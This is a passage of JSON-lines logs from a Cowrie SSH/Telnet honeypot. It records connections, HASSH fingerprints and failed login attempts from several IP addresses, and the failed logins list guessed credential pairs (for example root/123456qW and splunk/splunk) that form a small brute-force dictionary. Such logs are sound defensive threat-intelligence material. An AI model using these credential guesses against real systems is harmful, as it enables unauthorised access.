0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:14.620617Z","src_ip":"45.153.34.112","session":"56dbedccba46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qW","message":"login attempt [root/123456qW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:14.854970Z","src_ip":"106.251.244.178","session":"c9fad2123ed1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:14.874715Z","src_ip":"45.153.34.112","session":"56dbedccba46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:15.010179Z","src_ip":"103.75.182.198","session":"958fb8112834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:15.016299Z","src_ip":"43.134.175.218","session":"5f8e2c104b3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:15.968916Z","src_ip":"45.153.34.112","session":"56dbedccba46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:16.058006Z","src_ip":"106.251.244.178","session":"c9fad2123ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45728,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f3166d11214","protocol":"ssh","message":"New connection: 45.153.34.112:45728 (10.17.0.5:22) [session: 3f3166d11214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:18.005937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:18.027782Z","src_ip":"45.153.34.112","session":"3f3166d11214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:18.090135Z","src_ip":"45.153.34.112","session":"3f3166d11214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:18.411271Z","src_ip":"45.153.34.112","session":"3f3166d11214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:19.498122Z","src_ip":"45.153.34.112","session":"3f3166d11214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47374,"dst_ip":"10.17.0.5","dst_port":23,"session":"676f44dab6cd","protocol":"telnet","message":"New connection: 192.119.13.58:47374 (10.17.0.5:23) [session: 676f44dab6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:20.422639Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56604,"dst_ip":"10.17.0.5","dst_port":22,"session":"cda8a5f43a52","protocol":"ssh","message":"New connection: 45.153.34.112:56604 (10.17.0.5:22) [session: cda8a5f43a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:21.470000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:21.475700Z","src_ip":"45.153.34.112","session":"cda8a5f43a52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:21.557864Z","src_ip":"45.153.34.112","session":"cda8a5f43a52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:21.803492Z","src_ip":"45.153.34.112","session":"cda8a5f43a52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:23.121405Z","src_ip":"45.153.34.112","session":"cda8a5f43a52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56620,"dst_ip":"10.17.0.5","dst_port":22,"session":"2398b52886c2","protocol":"ssh","message":"New connection: 45.153.34.112:56620 (10.17.0.5:22) [session: 2398b52886c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:24.898233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:24.903142Z","src_ip":"45.153.34.112","session":"2398b52886c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:24.986972Z","src_ip":"45.153.34.112","session":"2398b52886c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:25.234257Z","src_ip":"45.153.34.112","session":"2398b52886c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:26.343120Z","src_ip":"45.153.34.112","session":"2398b52886c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.99340200424194,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:27.318296Z","src_ip":"192.119.13.58","session":"9e1268b77a54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56628,"dst_ip":"10.17.0.5","dst_port":22,"session":"9361becd311c","protocol":"ssh","message":"New connection: 45.153.34.112:56628 (10.17.0.5:22) [session: 9361becd311c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:28.542054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:28.545973Z","src_ip":"45.153.34.112","session":"9361becd311c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:28.627835Z","src_ip":"45.153.34.112","session":"9361becd311c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":37244,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a837e1f8d20","protocol":"ssh","message":"New connection: 80.66.85.226:37244 (159.203.135.109:22) [session: 1a837e1f8d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:28.849022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:28.854417Z","src_ip":"80.66.85.226","session":"1a837e1f8d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:28.875796Z","src_ip":"45.153.34.112","session":"9361becd311c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:28.951682Z","src_ip":"80.66.85.226","session":"1a837e1f8d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pfqxbr","message":"login attempt [root/pfqxbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:29.220807Z","src_ip":"80.66.85.226","session":"1a837e1f8d20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56852,"dst_ip":"10.17.0.5","dst_port":23,"session":"82af60721df3","protocol":"telnet","message":"New connection: 192.119.13.58:56852 (10.17.0.5:23) [session: 82af60721df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:29.478333Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42728,"dst_ip":"10.17.0.5","dst_port":22,"session":"750f5adad472","protocol":"ssh","message":"New connection: 193.32.162.145:42728 (10.17.0.5:22) [session: 750f5adad472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:29.950684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:29.954940Z","src_ip":"193.32.162.145","session":"750f5adad472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:29.962224Z","src_ip":"45.153.34.112","session":"9361becd311c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:30.061270Z","src_ip":"193.32.162.145","session":"750f5adad472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:30.312407Z","src_ip":"80.66.85.226","session":"1a837e1f8d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:30.423438Z","src_ip":"193.32.162.145","session":"750f5adad472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:31.533723Z","src_ip":"193.32.162.145","session":"750f5adad472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52322,"dst_ip":"10.17.0.5","dst_port":22,"session":"2943ea50d472","protocol":"ssh","message":"New connection: 45.153.34.112:52322 (10.17.0.5:22) [session: 2943ea50d472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:31.959038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:31.966639Z","src_ip":"45.153.34.112","session":"2943ea50d472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:32.048725Z","src_ip":"45.153.34.112","session":"2943ea50d472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:32.295256Z","src_ip":"45.153.34.112","session":"2943ea50d472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42416,"dst_ip":"10.17.0.5","dst_port":23,"session":"225530fe8fd3","protocol":"telnet","message":"New connection: 192.119.13.58:42416 (10.17.0.5:23) [session: 225530fe8fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:32.634013Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:33.422779Z","src_ip":"45.153.34.112","session":"2943ea50d472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45852,"dst_ip":"10.17.0.5","dst_port":23,"session":"97d42793f2ed","protocol":"telnet","message":"New connection: 192.119.13.58:45852 (10.17.0.5:23) [session: 97d42793f2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:33.547984Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52340,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c6692e62ba0","protocol":"ssh","message":"New connection: 45.153.34.112:52340 (10.17.0.5:22) [session: 4c6692e62ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:35.387085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:32:35.391912Z","src_ip":"45.153.34.112","session":"4c6692e62ba0","protocol":"ssh"}
